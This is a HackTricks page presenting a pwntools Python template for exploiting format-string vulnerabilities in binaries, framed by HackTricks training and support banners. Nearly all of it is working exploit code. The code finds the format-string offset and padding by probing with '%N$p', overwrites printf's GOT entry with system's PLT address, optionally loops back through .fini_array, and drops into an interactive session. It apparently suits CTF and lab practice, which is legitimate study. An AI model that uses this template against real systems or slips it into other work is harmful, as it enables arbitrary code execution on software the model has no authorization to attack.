Format Strings Template - HackTricks

# Format Strings Template

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

    from pwn import *
    from time import sleep

    ###################
    ### CONNECTION ####
    ###################

    # Define how you want to exploit the binary
    LOCAL = True
    REMOTETTCP = False
    REMOTESSH = False
    GDB = False

    # Configure vulnerable binary
    LOCAL_BIN = "./tyler"
    REMOTE_BIN = "./tyler" #For ssh

    # In order to exploit the format string you may need to append/prepend some string to the payload
    # configure them here
    PREFIX_PAYLOAD = b""
    SUFFIX_PAYLOAD = b""
    NNUM_ALREADY_WRITTEN_BYTES = 0
    MAX_LENTGH = 999999 #Big num if not restricted

    print(" ====================== ")
    print("Selected options:")
    print(f"PREFIX_PAYLOAD: {PREFIX_PAYLOAD}")
    print(f"SUFFIX_PAYLOAD: {SUFFIX_PAYLOAD}")
    print(f"NNUM_ALREADY_WRITTEN_BYTES: {NNUM_ALREADY_WRITTEN_BYTES}")
    print(" ====================== ")

    def connect_binary():
        global P, ELF_LOADED, ROP_LOADED

        if LOCAL:
            P = process(LOCAL_BIN) # start the vuln binary
            ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
            ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets

        elif REMOTETTCP:
            P = remote('10.10.10.10',1338) # start the vuln binary
            ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
            ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets

        elif REMOTESSH:
            ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
            P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
            ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
            ROP_LOADED = ROP(elf)# Find ROP gadgets

    #######################################
    ### Get format string configuration ###
    #######################################

    def send_payload(payload):
        payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
        log.info("payload = %s" % repr(payload))
        if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED")
        P.sendline(payload)
        sleep(0.5)
        return P.recv()

    def get_formatstring_config():
        global P

        for offset in range(1,1000):
            connect_binary()
            P.clean()

            payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
            recieved = send_payload(payload).strip()

            if b"41" in recieved:
                for padlen in range(0,4):
                    if b"41414141" in recieved:
                        connect_binary()
                        payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
                        recieved = send_payload(payload).strip()
                        print(recieved)
                        if b"42424242" in recieved:
                            log.info(f"Found offset ({offset}) and padlen ({padlen})")
                            return offset, padlen

                    else:
                        connect_binary()
                        payload = b" " + payload
                        recieved = send_payload(payload).strip()

    # In order to exploit a format string you need to find a position where part of your payload
    # is being reflected. Then, you will be able to put in the position arbitrary addresses
    # and write arbitrary content in those addresses
    # Therefore, the function get_formatstring_config will find the offset and padd needed to exploit the format string

    offset, padlen = get_formatstring_config()

    # In this template, the GOT of printf (the part of the GOT table that points to where the printf
    # function resides) is going to be modified by the address of the system inside the PLT (the
    # part of the code that will jump to the system function).
    # Therefore, next time the printf function is executed, system will be executed instead with the same
    # parameters passed to printf

    # In some scenarios you will need to loop1 more time to the vulnerability
    # In that cases you need to overwrite a pointer in the .fini_array for example
    # Uncomment the commented code below to gain 1 rexecution extra

    #P_FINI_ARRAY = ELF_LOADED.symbols["__init_array_end"] # .fini_array address
    #INIT_LOOP_ADDR = 0x8048614 # Address to go back
    SYSTEM_PLT = ELF_LOADED.plt["system"]
    P_GOT = ELF_LOADED.got["printf"]

    #log.info(f"Init loop address: {hex(INIT_LOOP_ADDR)}")
    #log.info(f"fini.array address: {hex(P_FINI_ARRAY)}")
    log.info(f"System PLT address: {hex(SYSTEM_PLT)}")
    log.info(f"Printf GOT address: {hex(P_GOT)}")

    connect_binary()
    if GDB and not REMOTETTCP and not REMOTESSH:
        # attach gdb and continue
        # You can set breakpoints, for example "break *main"
        gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n"
        sleep(5)

    format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES)
    #format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR)
    format_string.write(P_GOT, SYSTEM_PLT)
    format_string.execute_writes()

    # Now that printf function is executing system you just need to find a place where you can
    # control the parameters passed to printf to execute arbitrary code.

    P.interactive()

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.